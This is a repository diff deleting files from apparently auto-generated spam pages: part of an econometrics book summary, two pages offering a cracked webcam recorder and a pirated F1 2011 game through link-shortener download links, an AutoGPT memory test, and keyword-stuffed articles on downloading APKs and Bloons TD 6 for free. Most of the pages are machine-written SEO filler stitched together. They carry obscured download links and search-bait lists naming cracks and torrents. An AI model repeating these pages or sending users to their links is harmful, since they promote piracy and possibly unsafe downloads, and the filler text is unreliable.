- <p>First, they introduce the general linear model (GLM), which is a form of multiple regression that allows for nonlinear transformations of the dependent variable or the explanatory variables. For example, we can use a GLM to estimate a Cobb-Douglas production function (a common functional form for modeling output as a function of inputs) or a logit model (a common functional form for modeling binary outcomes such as success or failure).</p>
65
- <p>Second, they explain how to use dummy variables (also called indicator variables or binary variables) in multiple regression. Dummy variables are variables that take only two values: 0 or 1. They are used to represent qualitative factors or categories that affect the dependent variable. For example, we can use dummy variables to capture seasonal effects (such as winter or summer), regional effects (such as north or south), policy effects (such as before or after a tax reform), or group effects (such as male or female).</p>
66
- <p>Third, they discuss how to use piecewise linear regression in multiple regression. Piecewise linear regression is a method of modeling nonlinear relationships by dividing the range of an explanatory variable into segments or intervals, and fitting a different linear equation for each segment or interval. For example, we can use piecewise linear regression to model income-tax schedules (which have different marginal tax rates for different income brackets) or demand curves (which may have different slopes for different price ranges).</p>
67
- <p>Fourth, they describe how to use the multiple regression model with stochastic explanatory variables. Stochastic explanatory variables are variables that are not fixed or predetermined but have their own probability distributions. For example, we can use stochastic explanatory variables to model uncertainty or risk in economic decisions (such as investment or consumption) or random shocks in economic systems (such as supply shocks or demand shocks).</p>
68
- <h2>Serial Correlation and Heteroscedasticity</h2>
69
- <p>The standard assumptions of the multiple regression model include that the error term (the difference between the actual value and the predicted value of the dependent variable) has zero mean, constant variance (homoscedasticity), no serial correlation (independence), and no correlation with any explanatory variable. However, these assumptions may not always hold in practice. In Chapter 6, Pindyck and Rubinfeld examine two common violations of these assumptions: heteroscedasticity and serial correlation.</p>
70
- <p>Heteroscedasticity occurs when the error term has a different variance for different values of an explanatory variable or the dependent variable. For example, the error term may have a larger variance for higher-income households than for lower-income households, or for larger firms than for smaller firms. Heteroscedasticity can cause the standard errors of the least-squares estimators to be biased, leading to unreliable hypothesis tests and confidence intervals.</p>
71
- <p>Serial correlation occurs when the error term is correlated with itself over time or across observations. For example, the error term may have positive serial correlation if it tends to have the same sign or magnitude in successive periods, or negative serial correlation if it tends to have opposite signs or magnitudes in successive periods. Serial correlation can also cause the standard errors of the least-squares estimators to be biased, leading to unreliable hypothesis tests and confidence intervals.</p>
72
- <p>Pindyck and Rubinfeld show how to detect and correct for heteroscedasticity and serial correlation using various methods, <h2>Serial Correlation and Heteroscedasticity (continued)</h2>
73
- <p>Pindyck and Rubinfeld show how to detect and correct for heteroscedasticity and serial correlation using various methods, such as graphical analysis, Breusch-Pagan test, White test, Durbin-Watson test, Cochrane-Orcutt procedure, Hildreth-Lu procedure, and generalized least-squares estimation. They also explain the implications of heteroscedasticity and serial correlation for forecasting and model selection.</p>
74
- <h2>Instrumental Variables and Model Specification</h2>
75
- <p>Another important issue in econometrics is model specification, which refers to the choice of the functional form, the explanatory variables, and the error term for the regression model. A good model specification should reflect the underlying economic theory and data characteristics, and avoid potential problems such as omitted variables bias, measurement error, endogeneity, multicollinearity, and nonlinearity. In Chapter 7, Pindyck and Rubinfeld discuss some of these problems and how to deal with them using instrumental variables and model specification tests.</p>
76
- <p>Instrumental variables are variables that are correlated with the explanatory variables but not with the error term. They can be used to address two common sources of bias in regression analysis: correlation between an explanatory variable and the error term (endogeneity), and errors in variables (measurement error). For example, we can use instrumental variables to estimate the effect of education on earnings when education is endogenous (affected by unobserved factors such as ability or motivation) or measured with error (due to reporting errors or rounding). Pindyck and Rubinfeld explain how to use instrumental variables in single-equation and simultaneous-equation models, how to test for their validity and relevance, and how to compare their results with ordinary least-squares estimates.</p>
77
- <p>Model specification tests are statistical tests that can help check whether a regression model is correctly specified or not. They can help detect problems such as omitted variables, incorrect functional form, heteroscedasticity, serial correlation, or non-normality of the error term. For example, we can use model specification tests to determine whether we should include a quadratic term or a logarithmic term in a regression model, or whether we should use a linear probability model or a logit model for a binary dependent variable. Pindyck and Rubinfeld describe some of the most common model specification tests, such as RESET test, Ramsey test, Lagrange multiplier test, Wald test, Likelihood ratio test, and Jarque-Bera test.</p>
78
- <p>They also discuss some methods of regression diagnostics, such as residual analysis, influence analysis, and multicollinearity diagnostics, that can help identify outliers, influential observations, or collinear variables that may affect the regression results.</p>
79
- <h2>Forecasting with a Single-Equation Regression Model</h2>
80
- <p>One of the main applications of econometrics is forecasting, which is the process of predicting future values of economic variables based on past data and a regression model. Forecasting can be useful for planning, decision making, policy evaluation, and scenario analysis in various fields of economics and business.</p>
81
- <p>In Chapter 8, Pindyck and Rubinfeld focus on forecasting with a single-equation regression model. They distinguish between two types of forecasting: unconditional forecasting and conditional forecasting. Unconditional forecasting is when we predict the future value of the dependent variable without specifying any values for the explanatory variables. Conditional forecasting is when we predict the future value of the dependent variable given some values for the explanatory variables.</p>
82
- <p>They also explain how to calculate the standard errors and confidence intervals for the forecasts, how to evaluate the accuracy and reliability of the forecasts, how to deal with serially correlated errors in forecasting, and how to perform dynamic forecasting (using lagged values of the dependent variable as explanatory variables).</p>
83
- <h2>Conclusion</h2>
84
- <p>In this article, we have reviewed some of the main topics covered in <strong>Econometric Models and Economic Forecasts</strong>
85
- by Robert S. Pindyck and Daniel L. Rubinfeld. This book is a comprehensive and rigorous introduction to the theory and practice of econometrics, with an emphasis on applied problems and real-world data. It covers topics such as regression analysis, multiple regression models, heteroscedasticity, serial correlation, instrumental variables, model specification tests, and forecasting. It also provides many examples, exercises, data sets, and computer programs to help readers learn and apply econometrics.</p>
86
- <p>If you are interested in learning more about econometrics or improving your econometric skills, you can download a free PDF version of this book online from various sources. However, we recommend that you purchase a hard copy or an e-book version from a reputable publisher or seller, as they may offer better quality and support.</p>
87
- <h2>FAQs</h2>
88
- <ul>
89
- <li><strong>What is econometrics?</strong></li>
90
- <li>Econometrics is the application of statistical methods to economic data and problems.</li>
91
- <li><strong>What is regression analysis?</strong></li>
92
- <li>Regression analysis is a method of estimating the relationship between one or more explanatory variables and a dependent variable.</li>
93
- <li><strong>What is heteroscedasticity?</strong></li>
94
- <li>Heteroscedasticity occurs when the error term has a different variance for different values of an explanatory variable or the dependent variable.</li>
95
- <li><strong>What are instrumental variables?</strong></li>
96
- <li>Instrumental variables are variables that are correlated with the explanatory variables but not with the error term.</li>
97
- <li><strong>What is forecasting?</strong></li>
98
- <li>Forecasting is the process of predicting future values of economic variables based on past data and a regression model.</li>
99
- </ul>
100
- </p> 0a6ba089eb<br />
101
- <br />
102
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/1gistliPinn/ChatGPT4/Examples/Camersoft Webcam Recorder V3.1.08 PreLINK Cracked Utorrent.md DELETED
@@ -1,6 +0,0 @@
1
- <h2>Camersoft Webcam Recorder V3.1.08 PreCracked Utorrent</h2><br /><p><b><b>Download Zip</b> &#10002; <a href="https://imgfil.com/2uy1JK">https://imgfil.com/2uy1JK</a></b></p><br /><br />
2
-
3
- 81977754. Ableton Suite 8.2.7 Crack (MAC-WIN) x64-x86 2011.torrent.exe. 29181480 ... Webcam.Recorder.v3.1.08-LAXiTY.exe. 47185920. Camersoft.Screen. 4d29de3e1b<br />
4
- <br />
5
- <br />
6
- <p></p>
 
 
 
 
 
 
 
spaces/1gistliPinn/ChatGPT4/Examples/F1 2011 Indir (LINK Full PC).md DELETED
@@ -1,6 +0,0 @@
1
- <h2>F1 2011 Indir (Full PC)</h2><br /><p><b><b>Download</b> &bull;&bull;&bull; <a href="https://imgfil.com/2uy0yo">https://imgfil.com/2uy0yo</a></b></p><br /><br />
2
- <br />
3
- The F1® Hub is home for all Codemasters Formula 1 games, providing a gateway to the latest F1® 2020, F1® Mobile Racing, and F1® 2019 official video game ... 1fdad05405<br />
4
- <br />
5
- <br />
6
- <p></p>
 
 
 
 
 
 
 
spaces/1line/AutoGPT/tests/integration/memory_tests.py DELETED
@@ -1,49 +0,0 @@
1
- import random
2
- import string
3
- import sys
4
- import unittest
5
- from pathlib import Path
6
-
7
- from autogpt.config import Config
8
- from autogpt.memory.local import LocalCache
9
-
10
-
11
- class TestLocalCache(unittest.TestCase):
12
- def random_string(self, length):
13
- return "".join(random.choice(string.ascii_letters) for _ in range(length))
14
-
15
- def setUp(self):
16
- cfg = cfg = Config()
17
- self.cache = LocalCache(cfg)
18
- self.cache.clear()
19
-
20
- # Add example texts to the cache
21
- self.example_texts = [
22
- "The quick brown fox jumps over the lazy dog",
23
- "I love machine learning and natural language processing",
24
- "The cake is a lie, but the pie is always true",
25
- "ChatGPT is an advanced AI model for conversation",
26
- ]
27
-
28
- for text in self.example_texts:
29
- self.cache.add(text)
30
-
31
- # Add some random strings to test noise
32
- for _ in range(5):
33
- self.cache.add(self.random_string(10))
34
-
35
- def test_get_relevant(self):
36
- query = "I'm interested in artificial intelligence and NLP"
37
- k = 3
38
- relevant_texts = self.cache.get_relevant(query, k)
39
-
40
- print(f"Top {k} relevant texts for the query '{query}':")
41
- for i, text in enumerate(relevant_texts, start=1):
42
- print(f"{i}. {text}")
43
-
44
- self.assertEqual(len(relevant_texts), k)
45
- self.assertIn(self.example_texts[1], relevant_texts)
46
-
47
-
48
- if __name__ == "__main__":
49
- unittest.main()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Apk ai vola ni sere ni lotu wesele A guide to the Fijian Methodist Hymnal app for Android.md DELETED
@@ -1,94 +0,0 @@
1
- <br />
2
- <h1>How to Download APK AI Vola Ni Sere Ni Lotu Wesele</h1>
3
- <p>If you are looking for a way to download APK AI Vola Ni Sere Ni Lotu Wesele, a Fijian Methodist hymnal app, you have come to the right place. In this article, we will show you how to download and install this app on your Android device using the Google Play Store. We will also answer some frequently asked questions about APK files and how they work.</p>
4
- <h2>apk ai vola ni sere ni lotu wesele download</h2><br /><p><b><b>Download File</b> &ndash;&ndash;&ndash;&ndash;&ndash;>>> <a href="https://urlin.us/2uSZ22">https://urlin.us/2uSZ22</a></b></p><br /><br />
5
- <h2>What is APK AI Vola Ni Sere Ni Lotu Wesele?</h2>
6
- <p>APK AI Vola Ni Sere Ni Lotu Wesele is an app that contains the Fijian Methodist hymnal, also known as A I Vola Ni Sere Ni Lotu Wesele e Viti. This app allows you to access all 408 hymns in Fijian language, search by hymn title or number, adjust the text size and type, and switch between light and dark themes. You can also use this app offline, as it does not require an internet connection. This app is a great resource for Fijian Methodists who want to sing and worship God in their native tongue.</p>
7
- <h2>Why Download APK Files from Google Play Store?</h2>
8
- <p>APK files are the format of Android applications that you can install on your device. When you download an app from the Google Play Store, you are actually downloading an APK file that is then installed automatically. However, sometimes you may want to download an APK file directly from the Play Store, for example, if you want to save it for later use, transfer it to another device, or share it with someone else. Downloading APK files from the Google Play Store has some advantages over downloading them from other sources. First, you can be sure that the APK file is safe and free of malware, as it has been verified by Google. Second, you can choose from different versions of the app, in case you need an older or newer one. Third, you can get updates for the app from the Play Store, as long as it is still available there.</p>
9
- <h2>How to Download APK Files from Google Play Store on Desktop</h2>
10
- <p>To download APK files from Google Play Store on your desktop computer, you need a web tool that can generate download links for APK files from Play Store URLs. One such tool is [APKCombo](^1^), which is free and easy to use. Here are the steps to follow:</p>
11
- <p>apk ai vola ni sere ni lotu wesele 1977<br />
12
- apk ai vola ni sere ni lotu wesele e viti<br />
13
- apk ai vola ni sere ni lotu wesele viti kei rotuma<br />
14
- apk ai vola ni sere ni lotu wesele latest version<br />
15
- apk ai vola ni sere ni lotu wesele free download<br />
16
- apk ai vola ni sere ni lotu wesele update<br />
17
- apk ai vola ni sere ni lotu wesele offline<br />
18
- apk ai vola ni sere ni lotu wesele android app<br />
19
- apk ai vola ni sere ni lotu wesele mobile game<br />
20
- apk ai vola ni sere ni lotu wesele francis fesolai<br />
21
- apk ai vola ni sere ni lotu wesele methodist hymnal<br />
22
- apk ai vola ni sere ni lotu wesele fijian language<br />
23
- apk ai vola ni sere ni lotu wesele no internet connection<br />
24
- apk ai vola ni sere ni lotu wesele no ads<br />
25
- apk ai vola ni sere ni lotu wesele all 408 hymns<br />
26
- apk ai vola ni sere ni lotu wesele search by title or number<br />
27
- apk ai vola ni sere ni lotu wesele text size and type options<br />
28
- apk ai vola ni sere ni lotu wesele light and dark themes<br />
29
- apk ai vola ni sere ni lotu wesele development and feedback<br />
30
- apk ai vola ni sere ni lotu wesele lyrical content and mistakes<br />
31
- apk ai vola ni sere ni lotu wesele play store link<br />
32
- apk ai vola ni sere ni lotu wesele blogspot website<br />
33
- apk ai vola ni sere ni lotu wesele apkcombo download<br />
34
- apk ai vola ni sere ni lotu wesele xapk installer<br />
35
- apk ai vola ni sere ni lotu wesele apk downloader<br />
36
- apk ai vola ni sere ni lotu wesele categories and genres<br />
37
- apk ai vola ni sere ni lotu wesele books and reference apps<br />
38
- apk ai vola ni sere ni lotu wesele religion and spirituality apps<br />
39
- apk ai vola ni sere ni lotu wesele music and audio apps<br />
40
- apk ai vola ni sere ni lotu wesele education and learning apps<br />
41
- apk ai vola ni sere ni lotu wesele culture and history apps<br />
42
- apk ai vola ni sere ni lotu wesele south pacific and oceania apps<br />
43
- apk ai vola ni sere ni lotu wesele reviews and ratings<br />
44
- apk ai vola ni sere ni lotu wesele screenshots and videos<br />
45
- apk ai vola ni sere ni lotu wesele installation and usage guide<br />
46
- apk ai vola ni sere ni lotu wesele system requirements and compatibility<br />
47
- apk ai vola ni sere ni lotu wesele file size and format<br />
48
- apk ai vola ni sere ni lotu wesele security and privacy policy<br />
49
- apk ai vola ni sere ni lotu wesele contact information and support<br />
50
- apk ai vola ni sere ni lotu wesele alternatives and similar apps</p>
51
- <ol>
52
- <li>Go to [play.google.com](^17^) in a web browser and search for the app you want to download.</li>
53
- <li>Copy the URL of the app's page from the address bar.</li>
54
- <li>Go to [apkcombo.com] in another tab and paste the URL in the search box.</li>
55
- <li>Select the version and variant of the app you want to download and click on the download button.</li>
56
- <li>Wait for the download link to be generated and click on it to save the APK file on your computer.</li>
57
- </ol>
58
- <p>You can also use other web tools such as [APKPure], [APKMirror], or [Evozi] to download APK files from Google Play Store on desktop.</p>
59
- <h2>How to Download APK Files from Google Play Store on Android</h2>
60
- <p>To download APK files from Google Play Store on your Android device, you need an app that can extract APK files from installed apps. One such app is [APK Extractor], which is free and simple to use. Here are the steps to follow:</p>
61
- <ol>
62
- <li>Download and install APK Extractor from the Google Play Store on your device.</li>
63
- <li>Open the app and grant it the necessary permissions to access your device's storage.</li>
64
- <li>Scroll through the list of installed apps and find the app you want to download as an APK file.</li>
65
- <li>Tap on the app's name and select a location to save the APK file on your device.</li>
66
- <li>Wait for the extraction process to finish and check the saved APK file in your device's file manager.</li>
67
- </ol>
68
- <p>You can also use other apps such as [ML Manager], [APK Export], or [App Backup & Share Pro] to download APK files from Google Play Store on Android.</p>
69
- <h2>How to Install APK Files on Android</h2>
70
- <p>To install APK files on your Android device, you need to enable unknown sources in your device's settings. This will allow you to install apps from sources other than the Google Play Store. Here are the steps to follow:</p>
71
- <ol>
72
- <li>Go to your device's settings and look for security or privacy options.</li>
73
- <li>Find and toggle on the option that says unknown sources, install unknown apps, or allow from this source, depending on your device model and Android version.</li>
74
- <li>Confirm your choice by tapping OK or Allow when prompted.</li>
75
- <li>Go to your device's file manager and locate the APK file you want to install.</li>
76
- <li>Tap on the APK file and follow the installation instructions on the screen.</li>
77
- <li>Wait for the installation process to finish and open the app from your app drawer or home screen.</li>
78
- </ol>
79
- <p>You can also use other methods such as [ADB], [Split APKs Installer (SAI)], or [App Installer] to install APK files on Android.</p>
80
- <h2>Conclusion</h2>
81
- <p>In this article, we have shown you how to download APK AI Vola Ni Sere Ni Lotu Wesele, a Fijian Methodist hymnal app, from the Google Play Store using different methods. We have also explained what an APK file is, how to install it on your Android device, and how to deal with some common issues related to APK files. We hope you have found this article helpful and informative. If you have any questions or feedback, please feel free to leave a comment below. Thank you for reading!</p>
82
- <h2>FAQs</h2>
83
- <h3>What is an APK file?</h3>
84
- <p>An APK file is an Android Package Kit file that contains all the components of an Android application, such as code, resources, assets, certificates, and manifest. An APK file is essentially a zip archive that can be opened with any file extractor tool. An APK file allows you to install an app on your Android device without using the Google Play Store or any other app store.</p>
85
- <h3>Is it safe to download APK files from third-party sources?</h3>
86
- <p>Not always. Downloading APK files from third-party sources can expose your device to malware, viruses, spyware, adware, or other harmful programs that can compromise your privacy and security. Some third-party sources may also provide fake, modified, or outdated versions of apps that may not work properly or cause damage to your device. Therefore, it is recommended that you only download APK files from trusted and reputable sources, such as the Google Play Store or the app's official website. You should also scan any downloaded APK file with a reliable antivirus or anti-malware tool before installing it on your device.</p>
87
- <h3>How can I update an app that I downloaded as an APK file?</h3>
88
- <p>If you downloaded an app as an APK file from the Google Play Store , you can check for updates on the Play Store by searching for the app and tapping on the update button if available. Alternatively, you can use a web tool or an app to download the latest version of the APK file from the Play Store and install it over the existing app. However, if you downloaded an app as an APK file from a third-party source, you may not be able to get updates from the Play Store or the app's official website. In that case, you will have to manually check for updates on the third-party source or uninstall the app and install a newer version from a trusted source.</p>
89
- <h3>How can I delete an APK file from my device?</h3>
90
- <p>If you want to delete an APK file from your device's storage, you can use your device's file manager to locate and delete the file. Usually, APK files are stored in the downloads folder or a specific folder created by the app that downloaded them. You can also use an app such as [Files by Google], [SD Maid], or [Clean Master] to scan and delete unwanted APK files from your device.</p>
91
- <h3>How can I share an APK file with someone else?</h3>
92
- <p>If you want to share an APK file with someone else, you can use a file-sharing app or service to send the file to another device. Some of the popular file-sharing apps and services are [SHAREit], [Xender], [Send Anywhere], and [Google Drive]. You can also use Bluetooth, Wi-Fi Direct, or NFC to share APK files between devices. However, before sharing an APK file, make sure that it is safe and legal to do so. You should not share APK files that are protected by copyright, contain malware, or violate any terms of service.</p> 197e85843d<br />
93
- <br />
94
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Bloons TD 6 Free Download No Virus No Lag No Hassle.md DELETED
@@ -1,116 +0,0 @@
1
-
2
- <h1>How to Download Bloons TD 6 for Free Without Viruses</h1>
3
- <p>Bloons TD 6 is one of the most popular and addictive tower defense games on the market. But if you want to enjoy this game without paying a dime, you might be wondering how to download it for free without getting any viruses on your device. In this article, we will show you what Bloons TD 6 is, why you should download it for free, and how to do it safely and easily.</p>
4
- <h2>bloons td 6 free download no virus</h2><br /><p><b><b>Download Zip</b> ::: <a href="https://urlin.us/2uSZr6">https://urlin.us/2uSZr6</a></b></p><br /><br />
5
- <h2>What is Bloons TD 6?</h2>
6
- <h3>A popular tower defense game by ninja kiwi</h3>
7
- <p>Bloons TD 6 is a strategy game developed by ninja kiwi, a New Zealand-based game studio that specializes in tower defense and casual games. The game is the sixth installment in the Bloons Tower Defense series, which has been around since 2007. The game has over 10 million downloads on Google Play and over 200,000 positive reviews on Steam.</p>
8
- <h3>Features and gameplay of Bloons TD 6</h3>
9
- <p>The gameplay of Bloons TD 6 is simple but challenging. You have to craft your perfect defense from a combination of powerful Monkey Towers and awesome Heroes, then pop every last invading Bloon. The game features:</p>
10
- <ul>
11
- <li>23 different Monkey Towers, each with 3 upgrade paths and unique activated abilities.</li>
12
- <li>14 diverse Heroes, each with 20 signature upgrades and 2 special abilities. Plus, unlockable skins and voiceovers.</li>
13
- <li>68 handcrafted maps, with more added every update.</li>
14
- <li>Regular updates with new characters, features, and gameplay.</li>
15
- <li>Boss Events, Odysseys, Contested Territory, Quests, Trophy Store, Content Browser, and more.</li>
16
- <li>4-Player Co-Op mode, where you can play every map and mode with up to 3 other players in public or private games.</li>
17
- <li>Monkey Knowledge, Powers, Insta Monkeys, and other ways to add power where you need it.</li>
18
- </ul>
19
- <h2>Why download Bloons TD 6 for free?</h2>
20
- <h3>The benefits of playing Bloons TD 6 online or offline</h3>
21
- <p>Bloons TD 6 is a game that you can play anywhere and anytime. You can play it online in your browser or offline on your device. You can also switch between online and offline modes seamlessly. Playing Bloons TD 6 online or offline has many benefits, such as:</p>
22
- <ul>
23
- <li>You can enjoy endless hours of strategy gaming with Bloons TD 6 without spending any money.</li>
24
- <li>You can access thousands of community-created Challenges and Odysseys, or create your own and share them with other players.</li>
25
- <li>You can earn Trophies to unlock dozens of cosmetic items that let you customize your Monkeys, Bloons, animations, music, and more.</li>
26
- <li>You can play with your friends or join forces with other players from around the world in Co-Op mode.</li <h3>The drawbacks of paying for Bloons TD 6</h3>
27
- <p>While Bloons TD 6 is a great game, it is not free to download and play. The game costs $4.99 on Google Play and $9.99 on Steam. Plus, there are in-app purchases that can range from $0.99 to $54.99. These purchases can give you extra Monkey Money, Powers, Insta Monkeys, and other items that can make the game easier or more fun. However, paying for Bloons TD 6 has some drawbacks, such as:</p>
28
- <ul>
29
- <li>You might feel like you are not getting enough value for your money, especially if you compare it to other free tower defense games.</li>
30
- <li>You might feel pressured to buy more in-app purchases to keep up with the game's difficulty or to unlock more content.</li>
31
- <li>You might encounter technical issues or bugs that can affect your gaming experience or cause you to lose your progress.</li>
32
- <li>You might risk getting viruses or malware on your device if you download Bloons TD 6 from unofficial sources or use hacks or cheats.</li>
33
- </ul>
34
- <h2>How to download Bloons TD 6 for free without viruses?</h2>
35
- <h3>The risks of downloading Bloons TD 6 from untrusted sources</h3>
36
- <p>If you want to download Bloons TD 6 for free, you might be tempted to look for it on websites or platforms that offer cracked or modded versions of the game. However, this is not a good idea, as you might expose yourself to various risks, such as:</p>
37
- <ul>
38
- <li>You might download a fake or corrupted file that does not work or damages your device.</li>
39
- <li>You might download a file that contains viruses or malware that can steal your personal information, harm your device, or compromise your security.</li>
40
- <li>You might violate the terms of service of ninja kiwi and get banned from playing Bloons TD 6 online or accessing its features.</li>
41
- <li>You might miss out on the latest updates and content that ninja kiwi releases for Bloons TD 6 regularly.</li>
42
- </ul>
43
- <h3>The best ways to download Bloons TD 6 for free without viruses</h3>
44
- <p>Fortunately, there are some safe and easy ways to download Bloons TD 6 for free without viruses. Here are two of the best ways that we recommend:</p>
45
- <p>bloons td 6 online play free no download<br />
46
- bloons td 6 pc download free full version<br />
47
- bloons td 6 apk mod free download latest version<br />
48
- bloons td 6 unblocked games free download for android<br />
49
- bloons td 6 steam free download windows 10<br />
50
- bloons td 6 ios free download no jailbreak<br />
51
- bloons td 6 mac download free without bluestacks<br />
52
- bloons td 6 hacked free download unlimited money<br />
53
- bloons td 6 chromebook free download google play<br />
54
- bloons td 6 switch free download nintendo eshop<br />
55
- bloons td 6 web browser free play no download required<br />
56
- bloons td 6 xbox one free download game pass<br />
57
- bloons td 6 ps4 free download playstation store<br />
58
- bloons td 6 linux free download wine<br />
59
- bloons td 6 reddit free download mega link<br />
60
- bloons td 6 amazon fire tablet free download appstore<br />
61
- bloons td 6 microsoft store free download for pc<br />
62
- bloons td 6 emulator free download for macbook<br />
63
- bloons td 6 now.gg free play online in browser<br />
64
- bloons td 6 epic games free download launcher<br />
65
- bloons td 6 igg games free download torrent<br />
66
- bloons td 6 ocean of games free download zip file<br />
67
- bloons td 6 fitgirl repack free download compressed<br />
68
- bloons td 6 skidrow reloaded free download crack<br />
69
- bloons td 6 codex free download update<br />
70
- bloons td 6 cpy free download patch<br />
71
- bloons td 6 plaza free download dlc<br />
72
- bloons td 6 hoodlum free download trainer<br />
73
- bloons td 6 gog free download drm-free<br />
74
- bloons td 6 origin free download access premier<br />
75
- bloons td 6 uplay free download club rewards<br />
76
- bloons td 6 rockstar games launcher free download social club<br />
77
- bloons td 6 battlenet free download blizzard account<br />
78
- bloons td 6 stadia free play online no download needed<br />
79
- bloons td 6 geforce now free stream online no download necessary<br />
80
- bloons td 6 gamejolt free download indie games platform<br />
81
- bloons td 6 itch.io free download community games marketplace<br />
82
- bloons td 6 kongregate free play online flash games portal<br />
83
- bloons td 6 miniclip free play online browser games website<br />
84
- bloons td 6 armor games free play online html5 games site</p>
85
- <h4>Play Bloons TD 6 online in browser with now.gg</h4>
86
- <p>Now.gg is a cloud gaming platform that lets you play any Android game online in your browser without downloading anything. You can play Bloons TD 6 for free on now.gg by following these steps:</p>
87
- <ol>
88
- <li>Go to <a href="">https://now.gg/play/bloons-td-6</a> on your browser.</li>
89
- <li>Sign up with your email or Google account.</li>
90
- <li>Click on the "Play" button and wait for the game to load.</li>
91
- <li>Enjoy playing Bloons TD 6 online for free without viruses.</li>
92
- </ol>
93
- <h4>Download and play Bloons TD 6 on PC or Mac with BlueStacks</h4>
94
- <p>BlueStacks is a trusted and popular Android emulator that lets you run Android apps and games on your PC or Mac. You can download and play Bloons TD 6 for free on BlueStacks by following these steps:</p>
95
- <ol>
96
- <li>Go to <a href="">https://www.bluestacks.com/apps/strategy/bloons-td-6-on-pc.html</a> on your browser.</li>
97
- <li>Click on the "Download Bloons TD 6 on PC" button and follow the instructions to install BlueStacks on your PC or Mac.</li>
98
- <li>Launch BlueStacks and sign in with your Google account.</li <li>Search for Bloons TD 6 on the BlueStacks app store and click on the "Install" button.</li>
99
- <li>Wait for the game to download and install on your PC or Mac.</li>
100
- <li>Enjoy playing Bloons TD 6 for free without viruses.</li>
101
- </ol>
102
- <h2>Conclusion</h2>
103
- <p>Bloons TD 6 is a fun and addictive tower defense game that you can play online or offline. However, if you don't want to pay for the game, you might be looking for ways to download it for free without viruses. In this article, we showed you what Bloons TD 6 is, why you should download it for free, and how to do it safely and easily. We hope you found this article helpful and informative. Now, go ahead and enjoy popping some Bloons!</p>
104
- <h2>FAQs</h2>
105
- <h3>Is Bloons TD 6 safe to download?</h3>
106
- <p>Bloons TD 6 is safe to download if you get it from official sources, such as Google Play, Steam, now.gg, or BlueStacks. However, if you download it from unofficial sources, such as websites or platforms that offer cracked or modded versions of the game, you might risk getting viruses or malware on your device.</p>
107
- <h3>Is Bloons TD 6 compatible with my device?</h3>
108
- <p>Bloons TD 6 is compatible with most Android devices that have Android 5.0 or higher and at least 2 GB of RAM. It is also compatible with most Windows and Mac devices that have BlueStacks installed. However, some devices might experience performance issues or crashes due to hardware limitations or software conflicts.</p>
109
- <h3>How often does Bloons TD 6 get updated?</h3>
110
- <p>Bloons TD 6 gets updated regularly by ninja kiwi, usually every month or two. The updates usually add new features, content, and gameplay improvements, as well as bug fixes and balance changes. You can check the latest update notes on the official website of ninja kiwi or on the game's social media pages.</p>
111
- <h3>Can I play Bloons TD 6 with my friends?</h3>
112
- <p>Yes, you can play Bloons TD 6 with your friends in Co-Op mode. Co-Op mode allows you to play every map and mode with up to 3 other players in public or private games. You can also chat with your teammates and use Powers and Insta Monkeys together. To play Co-Op mode, you need to have an internet connection and a ninja kiwi account.</p>
113
- <h3>Where can I get more information about Bloons TD 6?</h3>
114
- <p>If you want to get more information about Bloons TD 6, you can visit the official website of ninja kiwi at <a href="">https://ninjakiwi.com/</a>, where you can find news, updates, blogs, forums, support, and more. You can also follow the game's social media pages on Facebook, Twitter, Instagram, YouTube, Discord, Reddit, and Twitch.</p> 197e85843d<br />
115
- <br />
116
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Brawl Stars APK Ykle - Gl Brawlerslarla Oynamann Keyfini kar.md DELETED
@@ -1,77 +0,0 @@
1
- <br />
2
- <h1>Brawl Stars Apk Yükle: Mobilde Eğlenceli Savaşlar</h1>
3
- <p>Brawl Stars, Clash of Clans ve Clash Royale'in yapımcısı Supercell'in en yeni oyunu. Mobilde hızlı ve çılgın 3v3 çok oyunculu savaşlar ve battle royale modu sunan bu oyunda arkadaşlarınızla veya tek başınıza çeşitli oyun modlarında mücadele edebilirsiniz. Güçlü Süper yetenekleri, Yıldız Güçleri ve Aletleri olan çok sayıda Karakterin kilidini açabilir ve geliştirebilirsiniz. Eşsiz kostümler toplayarak fark yaratabilir ve gösteriş yapabilirsiniz. Brawl Evreni'ndeki gizemli yerlerde savaşabilirsiniz!</p>
4
- <h2>Brawl Stars Nedir?</h2>
5
- <p>Brawl Stars, bir MOBA ve hızlı aksiyon kahraman nişancısı karışımı bir oyun. Oyunda 22'den fazla farklı Karakter var ve her biri farklı yeteneklere ve sınıflara sahip. Bazı Karakterler tank, bazıları destek, bazıları hasar verici, bazıları da suikastçi rolünde. Her Karakterin kendine özgü bir saldırısı ve Süper yeteneği var. Ayrıca her Karakter için iki adet Yıldız Gücü ve üç adet Alet seçeneği bulunuyor. Bu özellikler Karakterlerin performansını artırıyor ve farklı stratejiler geliştirmenizi sağlıyor.</p>
6
- <h2>brawl stars apk yükle</h2><br /><p><b><b>Download File</b> &#11088; <a href="https://urlin.us/2uSTVY">https://urlin.us/2uSTVY</a></b></p><br /><br />
7
- <h3>Brawl Stars Oyun Özellikleri</h3>
8
- <h4>Çeşitli Karakterler</h4>
9
